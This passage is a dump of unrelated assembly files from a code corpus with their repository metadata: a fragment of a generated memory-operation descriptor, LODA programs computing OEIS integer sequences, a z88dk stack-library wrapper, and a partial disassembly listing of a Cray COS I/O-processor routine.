'type': 'addresses_WC'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_A'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_WC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_WC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 7, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM'} {'dst': {'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 0, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'src': {'congruent': 8, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'dst': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 1, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'52': 21829} 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 52 */
34.903846
2,999
0.657025
adacb9acdaa2cb5f9a39563c00fcf8a5231ed03b
1,840
asm
Assembly
programs/oeis/006/A006002.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/006/A006002.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/006/A006002.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A006002: a(n) = n*(n+1)^2/2. ; 0,2,9,24,50,90,147,224,324,450,605,792,1014,1274,1575,1920,2312,2754,3249,3800,4410,5082,5819,6624,7500,8450,9477,10584,11774,13050,14415,15872,17424,19074,20825,22680,24642,26714,28899,31200,33620,36162,38829,41624,44550,47610,50807,54144,57624,61250,65025,68952,73034,77274,81675,86240,90972,95874,100949,106200,111630,117242,123039,129024,135200,141570,148137,154904,161874,169050,176435,184032,191844,199874,208125,216600,225302,234234,243399,252800,262440,272322,282449,292824,303450,314330,325467,336864,348524,360450,372645,385112,397854,410874,424175,437760,451632,465794,480249,495000,510050,525402,541059,557024,573300,589890,606797,624024,641574,659450,677655,696192,715064,734274,753825,773720,793962,814554,835499,856800,878460,900482,922869,945624,968750,992250,1016127,1040384,1065024,1090050,1115465,1141272,1167474,1194074,1221075,1248480,1276292,1304514,1333149,1362200,1391670,1421562,1451879,1482624,1513800,1545410,1577457,1609944,1642874,1676250,1710075,1744352,1779084,1814274,1849925,1886040,1922622,1959674,1997199,2035200,2073680,2112642,2152089,2192024,2232450,2273370,2314787,2356704,2399124,2442050,2485485,2529432,2573894,2618874,2664375,2710400,2756952,2804034,2851649,2899800,2948490,2997722,3047499,3097824,3148700,3200130,3252117,3304664,3357774,3411450,3465695,3520512,3575904,3631874,3688425,3745560,3803282,3861594,3920499,3980000,4040100,4100802,4162109,4224024,4286550,4349690,4413447,4477824,4542824,4608450,4674705,4741592,4809114,4877274,4946075,5015520,5085612,5156354,5227749,5299800,5372510,5445882,5519919,5594624,5670000,5746050,5822777,5900184,5978274,6057050,6136515,6216672,6297524,6379074,6461325,6544280,6627942,6712314,6797399,6883200,6969720,7056962,7144929,7233624,7323050,7413210,7504107,7595744,7688124,7781250 add $0,1 mov $1,$0 bin $0,2 mul $1,$0
230
1,769
0.843478
8b8e2b801fd28f86780891bdb36243337b35fef1
523
asm
Assembly
oeis/210/A210583.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/210/A210583.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/210/A210583.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A210583: Decimal expansion of (9/2)*Pi. ; Submitted by Jamie Morken(s2) ; 1,4,1,3,7,1,6,6,9,4,1,1,5,4,0,6,9,5,7,3,0,8,1,8,9,5,2,2,4,7,5,7,7,6,2,9,7,8,8,8,7,2,6,2,2,9,7,1,8,7,9,7,6,1,9,4,3,8,7,2,5,0,6,6,5,3,8,5,1,7,3,8,2,8,2,8,7,9,4,0,4,9,3,8,2,6,1,5,6,7 mov $1,1 mov $2,1 mov $3,$0 mul $3,5 lpb $3 mul $1,$3 mov $5,$3 mul $5,2 add $5,1 mul $2,$5 add $1,$2 div $5,$2 add $5,$0 div $1,$5 div $2,$5 sub $3,1 lpe mul $1,9 mov $4,10 pow $4,$0 div $2,$4 mul $2,10 div $1,$2 add $1,$4 mov $0,$1 mod $0,10
16.870968
181
0.521989
046d270df6af99f6310f96dd5ce4f269136b8aa0
1,260
asm
Assembly
programs/oeis/153/A153316.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/153/A153316.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/153/A153316.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A153316: Numerators of continued fraction convergents to sqrt(5/4). ; 1,9,19,161,341,2889,6119,51841,109801,930249,1970299,16692641,35355581,299537289,634430159,5374978561,11384387281,96450076809,204284540899,1730726404001,3665737348901,31056625195209,65778987739319,557288527109761,1180356041958841,10000136862780489,21180629767519819,179445175002939041,380070979773397901,3220013013190122249,6820097006153642399,57780789062419261441,122381675130992165281,1036834190110356583689,2196050055351705332659,18605234632923999244961,39406519321199703822581,333857389202521629825609,707121297726242963473799,5990827771012465337616001,12688776839751173638705801,107501042489021854447262409,227690861817794882533230619,1929027937031380914713107361,4085746735880556711959445341,34615001824075834610388670089,73315750384032225932736785519,621141004896333642072282954241,1315597760176699510077302694001,11145923086309929722690704506249,23607443932796558955458711706499,200005474548682401366360398158241,423618393030161361688179508022981,3588952618789973294871796462342089,7601523630610107951431772432707159,64401141663670836906325975923999361,136403806957951781764083724280705881 add $0,1 seq $0,1077 ; Numerators of continued fraction convergents to sqrt(5). dif $0,2
180
1,099
0.921429
78393a95ea2b99f41f1fd671aa83b0c6a0847685
190
asm
Assembly
libsrc/_DEVELOPMENT/adt/wv_stack/c/sccz80/wv_stack_max_size.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/adt/wv_stack/c/sccz80/wv_stack_max_size.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/adt/wv_stack/c/sccz80/wv_stack_max_size.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
; size_t wv_stack_max_size(wv_stack_t *s) SECTION code_adt_wv_stack PUBLIC wv_stack_max_size defc wv_stack_max_size = asm_wv_stack_size INCLUDE "adt/wv_stack/z80/asm_wv_stack_size.asm"
17.272727
48
0.842105
c7730c060094656d9c4b9d8caf9d464e31e2a565
60,000
asm
Assembly
target/cos_117/disasm/iop_overlay1/FSCOPY.asm
jrrk2/cray-sim
52c9639808d6890517092637b188282c00cce4f7
[ "BSL-1.0" ]
49
2020-10-09T12:29:16.000Z
2022-03-12T02:33:35.000Z
target/cos_117/disasm/iop_overlay1/FSCOPY.asm
jrrk2/cray-sim
52c9639808d6890517092637b188282c00cce4f7
[ "BSL-1.0" ]
1
2021-12-29T15:59:25.000Z
2021-12-29T15:59:25.000Z
target/cos_117/disasm/iop_overlay1/FSCOPY.asm
jrrk2/cray-sim
52c9639808d6890517092637b188282c00cce4f7
[ "BSL-1.0" ]
6
2021-04-12T06:10:32.000Z
2022-02-08T23:11:19.000Z
0x0000 (0x000000) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0001 (0x000002) 0x2922- f:00024 d: 290 | OR[290] = A 0x0002 (0x000004) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0003 (0x000006) 0x2923- f:00024 d: 291 | OR[291] = A 0x0004 (0x000008) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0005 (0x00000A) 0x2925- f:00024 d: 293 | OR[293] = A 0x0006 (0x00000C) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0007 (0x00000E) 0x2927- f:00024 d: 295 | OR[295] = A 0x0008 (0x000010) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0009 (0x000012) 0x292A- f:00024 d: 298 | OR[298] = A 0x000A (0x000014) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x000B (0x000016) 0x292B- f:00024 d: 299 | OR[299] = A 0x000C (0x000018) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x000D (0x00001A) 0x2924- f:00024 d: 292 | OR[292] = A 0x000E (0x00001C) 0x101A- f:00010 d: 26 | A = 26 (0x001A) 0x000F (0x00001E) 0x292D- f:00024 d: 301 | OR[301] = A 0x0010 (0x000020) 0x1125- f:00010 d: 293 | A = 293 (0x0125) 0x0011 (0x000022) 0x292E- f:00024 d: 302 | OR[302] = A 0x0012 (0x000024) 0x112D- f:00010 d: 301 | A = 301 (0x012D) 0x0013 (0x000026) 0x5800- f:00054 d: 0 | B = A 0x0014 (0x000028) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0015 (0x00002A) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0016 (0x00002C) 0x8602- f:00103 d: 2 | P = P + 2 (0x0018), A # 0 0x0017 (0x00002E) 0x7015- f:00070 d: 21 | P = P + 21 (0x002C) 0x0018 (0x000030) 0x2913- f:00024 d: 275 | OR[275] = A 0x0019 (0x000032) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x001A (0x000034) 0x292D- f:00024 d: 301 | OR[301] = A 0x001B (0x000036) 0x1800-0x0024 f:00014 d: 0 | A = 36 (0x0024) 0x001D (0x00003A) 0x292E- f:00024 d: 302 | OR[302] = A 0x001E (0x00003C) 0x2113- f:00020 d: 275 | A = OR[275] 0x001F (0x00003E) 0x292F- f:00024 d: 303 | OR[303] = A 0x0020 (0x000040) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0021 (0x000042) 0x2930- f:00024 d: 304 | OR[304] = A 0x0022 (0x000044) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0023 (0x000046) 0x2931- f:00024 d: 305 | OR[305] = A 0x0024 (0x000048) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0025 (0x00004A) 0x2932- f:00024 d: 306 | OR[306] = A 0x0026 (0x00004C) 0x112D- f:00010 d: 301 | A = 301 (0x012D) 0x0027 (0x00004E) 0x5800- f:00054 d: 0 | B = A 0x0028 (0x000050) 0x1800-0x2B18 f:00014 d: 0 | A = 11032 (0x2B18) 0x002A (0x000054) 0x7C09- f:00076 d: 9 | R = OR[9] 0x002B (0x000056) 0x7128- f:00070 d: 296 | P = P + 296 (0x0153) 0x002C (0x000058) 0x2118- f:00020 d: 280 | A = OR[280] 0x002D (0x00005A) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008) 0x002E (0x00005C) 0x2921- f:00024 d: 289 | OR[289] = A 0x002F (0x00005E) 0x2121- f:00020 d: 289 | A = OR[289] 0x0030 (0x000060) 0x1649- f:00013 d: 73 | A = A - 73 (0x0049) 0x0031 (0x000062) 0x8602- f:00103 d: 2 | P = P + 2 (0x0033), A # 0 0x0032 (0x000064) 0x7009- f:00070 d: 9 | P = P + 9 (0x003B) 0x0033 (0x000066) 0x2121- f:00020 d: 289 | A = OR[289] 0x0034 (0x000068) 0x164F- f:00013 d: 79 | A = A - 79 (0x004F) 0x0035 (0x00006A) 0x8602- f:00103 d: 2 | P = P + 2 (0x0037), A # 0 0x0036 (0x00006C) 0x7005- f:00070 d: 5 | P = P + 5 (0x003B) 0x0037 (0x00006E) 0x1800-0x02B7 f:00014 d: 0 | A = 695 (0x02B7) 0x0039 (0x000072) 0x2924- f:00024 d: 292 | OR[292] = A 0x003A (0x000074) 0x7119- f:00070 d: 281 | P = P + 281 (0x0153) 0x003B (0x000076) 0x2118- f:00020 d: 280 | A = OR[280] 0x003C (0x000078) 0x127F- f:00011 d: 127 | A = A & 127 (0x007F) 0x003D (0x00007A) 0x2908- f:00024 d: 264 | OR[264] = A 0x003E (0x00007C) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x003F (0x00007E) 0x2708- f:00023 d: 264 | A = A - OR[264] 0x0040 (0x000080) 0x8602- f:00103 d: 2 | P = P + 2 (0x0042), A # 0 0x0041 (0x000082) 0x701A- f:00070 d: 26 | P = P + 26 (0x005B) 0x0042 (0x000084) 0x1118- f:00010 d: 280 | A = 280 (0x0118) 0x0043 (0x000086) 0x5800- f:00054 d: 0 | B = A 0x0044 (0x000088) 0x2125- f:00020 d: 293 | A = OR[293] 0x0045 (0x00008A) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001) 0x0046 (0x00008C) 0x2913- f:00024 d: 275 | OR[275] = A 0x0047 (0x00008E) 0x5000- f:00050 d: 0 | A = B 0x0048 (0x000090) 0x1720- f:00013 d: 288 | A = A - 288 (0x0120) 0x0049 (0x000092) 0x8406- f:00102 d: 6 | P = P + 6 (0x004F), A = 0 0x004A (0x000094) 0x6000- f:00060 d: 0 | A = OR[B] 0x004B (0x000096) 0x3913- f:00034 d: 275 | (OR[275]) = A 0x004C (0x000098) 0x2D13- f:00026 d: 275 | OR[275] = OR[275] + 1 0x004D (0x00009A) 0x5C00- f:00056 d: 0 | B = B + 1 0x004E (0x00009C) 0x7207- f:00071 d: 7 | P = P - 7 (0x0047) 0x004F (0x00009E) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0050 (0x0000A0) 0x3913- f:00034 d: 275 | (OR[275]) = A 0x0051 (0x0000A2) 0x1003- f:00010 d: 3 | A = 3 (0x0003) 0x0052 (0x0000A4) 0x292C- f:00024 d: 300 | OR[300] = A 0x0053 (0x0000A6) 0x7E03-0x0227 f:00077 d: 3 | R = OR[3]+551 (0x0227) 0x0055 (0x0000AA) 0x2113- f:00020 d: 275 | A = OR[275] 0x0056 (0x0000AC) 0x292A- f:00024 d: 298 | OR[298] = A 0x0057 (0x0000AE) 0x7E03-0x0227 f:00077 d: 3 | R = OR[3]+551 (0x0227) 0x0059 (0x0000B2) 0x2113- f:00020 d: 275 | A = OR[275] 0x005A (0x0000B4) 0x292B- f:00024 d: 299 | OR[299] = A 0x005B (0x0000B6) 0x1800-0xFFFF f:00014 d: 0 | A = 65535 (0xFFFF) 0x005D (0x0000BA) 0x290D- f:00024 d: 269 | OR[269] = A 0x005E (0x0000BC) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x005F (0x0000BE) 0x290E- f:00024 d: 270 | OR[270] = A 0x0060 (0x0000C0) 0x2006- f:00020 d: 6 | A = OR[6] 0x0061 (0x0000C2) 0x2910- f:00024 d: 272 | OR[272] = A 0x0062 (0x0000C4) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x0063 (0x0000C6) 0x292D- f:00024 d: 301 | OR[301] = A 0x0064 (0x0000C8) 0x1800-0x00A9 f:00014 d: 0 | A = 169 (0x00A9) 0x0066 (0x0000CC) 0x292E- f:00024 d: 302 | OR[302] = A 0x0067 (0x0000CE) 0x1800-0x444B f:00014 d: 0 | A = 17483 (0x444B) 0x0069 (0x0000D2) 0x292F- f:00024 d: 303 | OR[303] = A 0x006A (0x0000D4) 0x210D- f:00020 d: 269 | A = OR[269] 0x006B (0x0000D6) 0x2930- f:00024 d: 304 | OR[304] = A 0x006C (0x0000D8) 0x1003- f:00010 d: 3 | A = 3 (0x0003) 0x006D (0x0000DA) 0x2931- f:00024 d: 305 | OR[305] = A 0x006E (0x0000DC) 0x210E- f:00020 d: 270 | A = OR[270] 0x006F (0x0000DE) 0x2932- f:00024 d: 306 | OR[306] = A 0x0070 (0x0000E0) 0x210F- f:00020 d: 271 | A = OR[271] 0x0071 (0x0000E2) 0x2933- f:00024 d: 307 | OR[307] = A 0x0072 (0x0000E4) 0x2110- f:00020 d: 272 | A = OR[272] 0x0073 (0x0000E6) 0x2934- f:00024 d: 308 | OR[308] = A 0x0074 (0x0000E8) 0x1017- f:00010 d: 23 | A = 23 (0x0017) 0x0075 (0x0000EA) 0x2935- f:00024 d: 309 | OR[309] = A 0x0076 (0x0000EC) 0x112D- f:00010 d: 301 | A = 301 (0x012D) 0x0077 (0x0000EE) 0x5800- f:00054 d: 0 | B = A 0x0078 (0x0000F0) 0x1800-0x2B18 f:00014 d: 0 | A = 11032 (0x2B18) 0x007A (0x0000F4) 0x7C09- f:00076 d: 9 | R = OR[9] 0x007B (0x0000F6) 0x8602- f:00103 d: 2 | P = P + 2 (0x007D), A # 0 0x007C (0x0000F8) 0x7005- f:00070 d: 5 | P = P + 5 (0x0081) 0x007D (0x0000FA) 0x1800-0x02D4 f:00014 d: 0 | A = 724 (0x02D4) 0x007F (0x0000FE) 0x2924- f:00024 d: 292 | OR[292] = A 0x0080 (0x000100) 0x70D3- f:00070 d: 211 | P = P + 211 (0x0153) 0x0081 (0x000102) 0x2123- f:00020 d: 291 | A = OR[291] 0x0082 (0x000104) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003) 0x0083 (0x000106) 0x2908- f:00024 d: 264 | OR[264] = A 0x0084 (0x000108) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0085 (0x00010A) 0x290D- f:00024 d: 269 | OR[269] = A 0x0086 (0x00010C) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x0087 (0x00010E) 0x292D- f:00024 d: 301 | OR[301] = A 0x0088 (0x000110) 0x210D- f:00020 d: 269 | A = OR[269] 0x0089 (0x000112) 0x292E- f:00024 d: 302 | OR[302] = A 0x008A (0x000114) 0x2123- f:00020 d: 291 | A = OR[291] 0x008B (0x000116) 0x292F- f:00024 d: 303 | OR[303] = A 0x008C (0x000118) 0x1004- f:00010 d: 4 | A = 4 (0x0004) 0x008D (0x00011A) 0x2930- f:00024 d: 304 | OR[304] = A 0x008E (0x00011C) 0x2125- f:00020 d: 293 | A = OR[293] 0x008F (0x00011E) 0x2931- f:00024 d: 305 | OR[305] = A 0x0090 (0x000120) 0x1003- f:00010 d: 3 | A = 3 (0x0003) 0x0091 (0x000122) 0x2933- f:00024 d: 307 | OR[307] = A 0x0092 (0x000124) 0x112D- f:00010 d: 301 | A = 301 (0x012D) 0x0093 (0x000126) 0x5800- f:00054 d: 0 | B = A 0x0094 (0x000128) 0x1800-0x2B18 f:00014 d: 0 | A = 11032 (0x2B18) 0x0096 (0x00012C) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0097 (0x00012E) 0x8602- f:00103 d: 2 | P = P + 2 (0x0099), A # 0 0x0098 (0x000130) 0x7005- f:00070 d: 5 | P = P + 5 (0x009D) 0x0099 (0x000132) 0x1800-0x02C0 f:00014 d: 0 | A = 704 (0x02C0) 0x009B (0x000136) 0x2924- f:00024 d: 292 | OR[292] = A 0x009C (0x000138) 0x70B7- f:00070 d: 183 | P = P + 183 (0x0153) 0x009D (0x00013A) 0x2125- f:00020 d: 293 | A = OR[293] 0x009E (0x00013C) 0x1419- f:00012 d: 25 | A = A + 25 (0x0019) 0x009F (0x00013E) 0x2908- f:00024 d: 264 | OR[264] = A 0x00A0 (0x000140) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x00A1 (0x000142) 0x2928- f:00024 d: 296 | OR[296] = A 0x00A2 (0x000144) 0x2125- f:00020 d: 293 | A = OR[293] 0x00A3 (0x000146) 0x141A- f:00012 d: 26 | A = A + 26 (0x001A) 0x00A4 (0x000148) 0x2908- f:00024 d: 264 | OR[264] = A 0x00A5 (0x00014A) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x00A6 (0x00014C) 0x2926- f:00024 d: 294 | OR[294] = A 0x00A7 (0x00014E) 0x8402- f:00102 d: 2 | P = P + 2 (0x00A9), A = 0 0x00A8 (0x000150) 0x7005- f:00070 d: 5 | P = P + 5 (0x00AD) 0x00A9 (0x000152) 0x1800-0x02C8 f:00014 d: 0 | A = 712 (0x02C8) 0x00AB (0x000156) 0x2924- f:00024 d: 292 | OR[292] = A 0x00AC (0x000158) 0x70A7- f:00070 d: 167 | P = P + 167 (0x0153) 0x00AD (0x00015A) 0x212A- f:00020 d: 298 | A = OR[298] 0x00AE (0x00015C) 0x2726- f:00023 d: 294 | A = A - OR[294] 0x00AF (0x00015E) 0x8A78- f:00105 d: 120 | P = P - 120 (0x0037), C = 1 0x00B0 (0x000160) 0x2128- f:00020 d: 296 | A = OR[296] 0x00B1 (0x000162) 0x252A- f:00022 d: 298 | A = A + OR[298] 0x00B2 (0x000164) 0x2928- f:00024 d: 296 | OR[296] = A 0x00B3 (0x000166) 0x2126- f:00020 d: 294 | A = OR[294] 0x00B4 (0x000168) 0x272A- f:00023 d: 298 | A = A - OR[298] 0x00B5 (0x00016A) 0x2926- f:00024 d: 294 | OR[294] = A 0x00B6 (0x00016C) 0x212B- f:00020 d: 299 | A = OR[299] 0x00B7 (0x00016E) 0x8602- f:00103 d: 2 | P = P + 2 (0x00B9), A # 0 0x00B8 (0x000170) 0x7007- f:00070 d: 7 | P = P + 7 (0x00BF) 0x00B9 (0x000172) 0x212B- f:00020 d: 299 | A = OR[299] 0x00BA (0x000174) 0x2726- f:00023 d: 294 | A = A - OR[294] 0x00BB (0x000176) 0x8002- f:00100 d: 2 | P = P + 2 (0x00BD), C = 0 0x00BC (0x000178) 0x7003- f:00070 d: 3 | P = P + 3 (0x00BF) 0x00BD (0x00017A) 0x212B- f:00020 d: 299 | A = OR[299] 0x00BE (0x00017C) 0x2926- f:00024 d: 294 | OR[294] = A 0x00BF (0x00017E) 0x1800-0x0306 f:00014 d: 0 | A = 774 (0x0306) 0x00C1 (0x000182) 0x2924- f:00024 d: 292 | OR[292] = A 0x00C2 (0x000184) 0x7E03-0x0281 f:00077 d: 3 | R = OR[3]+641 (0x0281) 0x00C4 (0x000188) 0x2121- f:00020 d: 289 | A = OR[289] 0x00C5 (0x00018A) 0x1649- f:00013 d: 73 | A = A - 73 (0x0049) 0x00C6 (0x00018C) 0x8402- f:00102 d: 2 | P = P + 2 (0x00C8), A = 0 0x00C7 (0x00018E) 0x7024- f:00070 d: 36 | P = P + 36 (0x00EB) 0x00C8 (0x000190) 0x1800-0xFFFF f:00014 d: 0 | A = 65535 (0xFFFF) 0x00CA (0x000194) 0x290D- f:00024 d: 269 | OR[269] = A 0x00CB (0x000196) 0x2125- f:00020 d: 293 | A = OR[293] 0x00CC (0x000198) 0x290E- f:00024 d: 270 | OR[270] = A 0x00CD (0x00019A) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x00CE (0x00019C) 0x290F- f:00024 d: 271 | OR[271] = A 0x00CF (0x00019E) 0x2125- f:00020 d: 293 | A = OR[293] 0x00D0 (0x0001A0) 0x2910- f:00024 d: 272 | OR[272] = A 0x00D1 (0x0001A2) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x00D2 (0x0001A4) 0x292D- f:00024 d: 301 | OR[301] = A 0x00D3 (0x0001A6) 0x1800-0x00A9 f:00014 d: 0 | A = 169 (0x00A9) 0x00D5 (0x0001AA) 0x292E- f:00024 d: 302 | OR[302] = A 0x00D6 (0x0001AC) 0x1800-0x4D54 f:00014 d: 0 | A = 19796 (0x4D54) 0x00D8 (0x0001B0) 0x292F- f:00024 d: 303 | OR[303] = A 0x00D9 (0x0001B2) 0x210D- f:00020 d: 269 | A = OR[269] 0x00DA (0x0001B4) 0x2930- f:00024 d: 304 | OR[304] = A 0x00DB (0x0001B6) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x00DC (0x0001B8) 0x2931- f:00024 d: 305 | OR[305] = A 0x00DD (0x0001BA) 0x210E- f:00020 d: 270 | A = OR[270] 0x00DE (0x0001BC) 0x2932- f:00024 d: 306 | OR[306] = A 0x00DF (0x0001BE) 0x210F- f:00020 d: 271 | A = OR[271] 0x00E0 (0x0001C0) 0x2933- f:00024 d: 307 | OR[307] = A 0x00E1 (0x0001C2) 0x2110- f:00020 d: 